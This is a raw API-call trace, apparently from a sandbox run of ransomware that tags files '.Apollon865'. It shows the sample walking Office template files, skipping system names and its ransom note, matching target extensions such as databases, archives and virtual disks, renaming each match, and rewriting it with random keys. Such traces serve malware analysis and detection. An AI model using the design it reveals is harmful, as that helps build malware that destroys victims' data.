	[0065.259] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.259] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.260] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x53e0, lpName=0x0) returned 0x150
	[0065.261] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x53e0) returned 0x100000
	[0065.263] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.263] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.263] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.263] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.264] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.264] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.264] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.264] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.264] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.264] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0065.264] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.264] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0065.264] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.264] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.264] CloseHandle (hObject=0x150) returned 1
	[0065.264] CloseHandle (hObject=0x118) returned 1
	[0065.264] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.264] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.264] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.265] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b13300, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0b13300, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x5465, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Msgbox.accdt", cAlternateFileName="MSGBOX~1.ACC")) returned 1
	[0065.265] lstrcmpiW (lpString1="Msgbox.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.265] lstrcmpiW (lpString1="Msgbox.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0065.265] lstrcmpiW (lpString1="Msgbox.accdt", lpString2=".") returned 1
	[0065.265] lstrcmpiW (lpString1="Msgbox.accdt", lpString2="..") returned 1
	[0065.265] lstrcmpiW (lpString1="Msgbox.accdt", lpString2="windows") returned -1
	[0065.265] lstrcmpiW (lpString1="Msgbox.accdt", lpString2="bootmgr") returned 1
	[0065.265] lstrcmpiW (lpString1="Msgbox.accdt", lpString2="temp") returned -1
	[0065.265] lstrcmpiW (lpString1="Msgbox.accdt", lpString2="pagefile.sys") returned -1
	[0065.265] lstrcmpiW (lpString1="Msgbox.accdt", lpString2="boot") returned 1
	[0065.265] lstrcmpiW (lpString1="Msgbox.accdt", lpString2="ids.txt") returned 1
	[0065.265] lstrcmpiW (lpString1="Msgbox.accdt", lpString2="ntuser.dat") returned -1
	[0065.265] lstrcmpiW (lpString1="Msgbox.accdt", lpString2="perflogs") returned -1
	[0065.265] lstrcmpiW (lpString1="Msgbox.accdt", lpString2="MSBuild") returned 1
	[0065.265] lstrlenW (lpString="Msgbox.accdt") returned 12
	[0065.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Media.accdt") returned 72
	[0065.265] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Msgbox.accdt" | out: lpString1="Msgbox.accdt") returned="Msgbox.accdt"
	[0065.265] lstrlenW (lpString="Msgbox.accdt") returned 12
	[0065.265] lstrlenW (lpString="Apollon865") returned 10
	[0065.265] lstrcmpiW (lpString1="gbox.accdt", lpString2="Apollon865") returned 1
	[0065.265] lstrlenW (lpString=".dll") returned 4
	[0065.265] lstrcmpiW (lpString1="Msgbox.accdt", lpString2=".dll") returned 1
	[0065.265] lstrlenW (lpString=".lnk") returned 4
	[0065.265] lstrcmpiW (lpString1="Msgbox.accdt", lpString2=".lnk") returned 1
	[0065.266] lstrlenW (lpString=".ini") returned 4
	[0065.266] lstrcmpiW (lpString1="Msgbox.accdt", lpString2=".ini") returned 1
	[0065.266] lstrlenW (lpString=".sys") returned 4
	[0065.266] lstrcmpiW (lpString1="Msgbox.accdt", lpString2=".sys") returned 1
	[0065.266] lstrlenW (lpString="Msgbox.accdt") returned 12
	[0065.266] lstrlenW (lpString="bak") returned 3
	[0065.266] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0065.266] lstrlenW (lpString="ba_") returned 3
	[0065.266] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0065.266] lstrlenW (lpString="dbb") returned 3
	[0065.266] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0065.266] lstrlenW (lpString="vmdk") returned 4
	[0065.266] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0065.266] lstrlenW (lpString="rar") returned 3
	[0065.266] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0065.266] lstrlenW (lpString="zip") returned 3
	[0065.266] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0065.266] lstrlenW (lpString="tgz") returned 3
	[0065.266] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0065.266] lstrlenW (lpString="vbox") returned 4
	[0065.266] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0065.266] lstrlenW (lpString="vdi") returned 3
	[0065.266] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0065.266] lstrlenW (lpString="vhd") returned 3
	[0065.266] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0065.266] lstrlenW (lpString="vhdx") returned 4
	[0065.266] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0065.266] lstrlenW (lpString="avhd") returned 4
	[0065.266] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0065.266] lstrlenW (lpString="db") returned 2
	[0065.266] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0065.266] lstrlenW (lpString="db2") returned 3
	[0065.266] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0065.266] lstrlenW (lpString="db3") returned 3
	[0065.267] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0065.267] lstrlenW (lpString="dbf") returned 3
	[0065.267] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0065.267] lstrlenW (lpString="mdf") returned 3
	[0065.267] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0065.267] lstrlenW (lpString="mdb") returned 3
	[0065.267] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0065.267] lstrlenW (lpString="sql") returned 3
	[0065.267] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0065.267] lstrlenW (lpString="sqlite") returned 6
	[0065.267] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0065.267] lstrlenW (lpString="sqlite3") returned 7
	[0065.267] lstrcmpiW (lpString1="x.accdt", lpString2="sqlite3") returned 1
	[0065.267] lstrlenW (lpString="sqlitedb") returned 8
	[0065.267] lstrcmpiW (lpString1="ox.accdt", lpString2="sqlitedb") returned -1
	[0065.267] lstrlenW (lpString="xml") returned 3
	[0065.267] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0065.267] lstrlenW (lpString="$er") returned 3
	[0065.267] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0065.267] lstrlenW (lpString="4dd") returned 3
	[0065.267] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0065.267] lstrlenW (lpString="4dl") returned 3
	[0065.267] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0065.267] lstrlenW (lpString="^^^") returned 3
	[0065.267] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0065.267] lstrlenW (lpString="abs") returned 3
	[0065.267] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0065.267] lstrlenW (lpString="abx") returned 3
	[0065.267] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0065.267] lstrlenW (lpString="accdb") returned 5
	[0065.267] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0065.267] lstrlenW (lpString="accdc") returned 5
	[0065.267] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0065.267] lstrlenW (lpString="accde") returned 5
	[0065.268] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0065.268] lstrlenW (lpString="accdr") returned 5
	[0065.268] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0065.268] lstrlenW (lpString="accdt") returned 5
	[0065.268] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0065.268] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Msgbox.accdt.Apollon865") returned 84
	[0065.268] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Msgbox.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\msgbox.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Msgbox.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\msgbox.accdt.apollon865"), dwFlags=0x1) returned 1
	[0065.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Msgbox.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\msgbox.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.269] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=21605) returned 1
	[0065.269] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.269] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.269] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.269] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.270] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.270] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.270] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5770, lpName=0x0) returned 0x150
	[0065.272] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5770) returned 0x100000
	[0065.273] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.274] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.274] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.274] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.274] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.275] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.275] CloseHandle (hObject=0x150) returned 1
	[0065.275] CloseHandle (hObject=0x118) returned 1
	[0065.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.275] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0307c00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0307c00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x60b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tabs.accdt", cAlternateFileName="TABS~1.ACC")) returned 1
	[0065.275] lstrcmpiW (lpString1="Tabs.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.276] lstrcmpiW (lpString1="Tabs.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0065.276] lstrcmpiW (lpString1="Tabs.accdt", lpString2=".") returned 1
	[0065.276] lstrcmpiW (lpString1="Tabs.accdt", lpString2="..") returned 1
	[0065.276] lstrcmpiW (lpString1="Tabs.accdt", lpString2="windows") returned -1
	[0065.276] lstrcmpiW (lpString1="Tabs.accdt", lpString2="bootmgr") returned 1
	[0065.276] lstrcmpiW (lpString1="Tabs.accdt", lpString2="temp") returned -1
	[0065.276] lstrcmpiW (lpString1="Tabs.accdt", lpString2="pagefile.sys") returned 1
	[0065.276] lstrcmpiW (lpString1="Tabs.accdt", lpString2="boot") returned 1
	[0065.276] lstrcmpiW (lpString1="Tabs.accdt", lpString2="ids.txt") returned 1
	[0065.276] lstrcmpiW (lpString1="Tabs.accdt", lpString2="ntuser.dat") returned 1
	[0065.276] lstrcmpiW (lpString1="Tabs.accdt", lpString2="perflogs") returned 1
	[0065.276] lstrcmpiW (lpString1="Tabs.accdt", lpString2="MSBuild") returned 1
	[0065.276] lstrlenW (lpString="Tabs.accdt") returned 10
	[0065.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Msgbox.accdt") returned 73
	[0065.276] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Tabs.accdt" | out: lpString1="Tabs.accdt") returned="Tabs.accdt"
	[0065.276] lstrlenW (lpString="Tabs.accdt") returned 10
	[0065.276] lstrlenW (lpString="Apollon865") returned 10
	[0065.276] lstrlenW (lpString=".dll") returned 4
	[0065.276] lstrcmpiW (lpString1="Tabs.accdt", lpString2=".dll") returned 1
	[0065.276] lstrlenW (lpString=".lnk") returned 4
	[0065.276] lstrcmpiW (lpString1="Tabs.accdt", lpString2=".lnk") returned 1
	[0065.276] lstrlenW (lpString=".ini") returned 4
	[0065.276] lstrcmpiW (lpString1="Tabs.accdt", lpString2=".ini") returned 1
	[0065.276] lstrlenW (lpString=".sys") returned 4
	[0065.276] lstrcmpiW (lpString1="Tabs.accdt", lpString2=".sys") returned 1
	[0065.276] lstrlenW (lpString="Tabs.accdt") returned 10
	[0065.276] lstrlenW (lpString="bak") returned 3
	[0065.276] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0065.276] lstrlenW (lpString="ba_") returned 3
	[0065.276] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0065.276] lstrlenW (lpString="dbb") returned 3
	[0065.276] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0065.276] lstrlenW (lpString="vmdk") returned 4
	[0065.276] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0065.277] lstrlenW (lpString="rar") returned 3
	[0065.277] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0065.277] lstrlenW (lpString="zip") returned 3
	[0065.277] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0065.277] lstrlenW (lpString="tgz") returned 3
	[0065.277] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0065.277] lstrlenW (lpString="vbox") returned 4
	[0065.277] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0065.277] lstrlenW (lpString="vdi") returned 3
	[0065.277] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0065.277] lstrlenW (lpString="vhd") returned 3
	[0065.277] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0065.277] lstrlenW (lpString="vhdx") returned 4
	[0065.277] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0065.277] lstrlenW (lpString="avhd") returned 4
	[0065.277] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0065.277] lstrlenW (lpString="db") returned 2
	[0065.277] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0065.277] lstrlenW (lpString="db2") returned 3
	[0065.277] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0065.277] lstrlenW (lpString="db3") returned 3
	[0065.277] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0065.277] lstrlenW (lpString="dbf") returned 3
	[0065.277] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0065.277] lstrlenW (lpString="mdf") returned 3
	[0065.277] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0065.277] lstrlenW (lpString="mdb") returned 3
	[0065.277] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0065.277] lstrlenW (lpString="sql") returned 3
	[0065.277] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0065.277] lstrlenW (lpString="sqlite") returned 6
	[0065.277] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0065.277] lstrlenW (lpString="sqlite3") returned 7
	[0065.277] lstrcmpiW (lpString1="s.accdt", lpString2="sqlite3") returned -1
	[0065.278] lstrlenW (lpString="sqlitedb") returned 8
	[0065.278] lstrcmpiW (lpString1="bs.accdt", lpString2="sqlitedb") returned -1
	[0065.278] lstrlenW (lpString="xml") returned 3
	[0065.278] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0065.278] lstrlenW (lpString="$er") returned 3
	[0065.278] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0065.278] lstrlenW (lpString="4dd") returned 3
	[0065.278] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0065.278] lstrlenW (lpString="4dl") returned 3
	[0065.278] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0065.278] lstrlenW (lpString="^^^") returned 3
	[0065.278] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0065.278] lstrlenW (lpString="abs") returned 3
	[0065.278] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0065.278] lstrlenW (lpString="abx") returned 3
	[0065.278] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0065.278] lstrlenW (lpString="accdb") returned 5
	[0065.278] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0065.278] lstrlenW (lpString="accdc") returned 5
	[0065.278] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0065.278] lstrlenW (lpString="accde") returned 5
	[0065.278] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0065.278] lstrlenW (lpString="accdr") returned 5
	[0065.278] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0065.278] lstrlenW (lpString="accdt") returned 5
	[0065.278] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0065.278] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tabs.accdt.Apollon865") returned 82
	[0065.278] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tabs.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tabs.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tabs.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tabs.accdt.apollon865"), dwFlags=0x1) returned 1
	[0065.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tabs.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tabs.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.281] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=24755) returned 1
	[0065.281] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.282] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.282] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.282] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.282] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.282] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.283] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x63c0, lpName=0x0) returned 0x150
	[0065.284] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x63c0) returned 0x100000
	[0065.286] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.286] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.286] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.287] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.287] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0065.287] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.287] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0065.287] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.287] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.288] CloseHandle (hObject=0x150) returned 1
	[0065.288] CloseHandle (hObject=0x118) returned 1
	[0065.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.288] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0e0f200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe0e0f200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xb315, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tasks.accdt", cAlternateFileName="TASKS~1.ACC")) returned 1
	[0065.288] lstrcmpiW (lpString1="Tasks.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.288] lstrcmpiW (lpString1="Tasks.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0065.288] lstrcmpiW (lpString1="Tasks.accdt", lpString2=".") returned 1
	[0065.288] lstrcmpiW (lpString1="Tasks.accdt", lpString2="..") returned 1
	[0065.288] lstrcmpiW (lpString1="Tasks.accdt", lpString2="windows") returned -1
	[0065.288] lstrcmpiW (lpString1="Tasks.accdt", lpString2="bootmgr") returned 1
	[0065.288] lstrcmpiW (lpString1="Tasks.accdt", lpString2="temp") returned -1
	[0065.288] lstrcmpiW (lpString1="Tasks.accdt", lpString2="pagefile.sys") returned 1
	[0065.288] lstrcmpiW (lpString1="Tasks.accdt", lpString2="boot") returned 1
	[0065.288] lstrcmpiW (lpString1="Tasks.accdt", lpString2="ids.txt") returned 1
	[0065.288] lstrcmpiW (lpString1="Tasks.accdt", lpString2="ntuser.dat") returned 1
	[0065.288] lstrcmpiW (lpString1="Tasks.accdt", lpString2="perflogs") returned 1
	[0065.288] lstrcmpiW (lpString1="Tasks.accdt", lpString2="MSBuild") returned 1
	[0065.288] lstrlenW (lpString="Tasks.accdt") returned 11
	[0065.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tabs.accdt") returned 71
	[0065.288] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Tasks.accdt" | out: lpString1="Tasks.accdt") returned="Tasks.accdt"
	[0065.289] lstrlenW (lpString="Tasks.accdt") returned 11
	[0065.289] lstrlenW (lpString="Apollon865") returned 10
	[0065.289] lstrcmpiW (lpString1="asks.accdt", lpString2="Apollon865") returned 1
	[0065.289] lstrlenW (lpString=".dll") returned 4
	[0065.289] lstrcmpiW (lpString1="Tasks.accdt", lpString2=".dll") returned 1
	[0065.289] lstrlenW (lpString=".lnk") returned 4
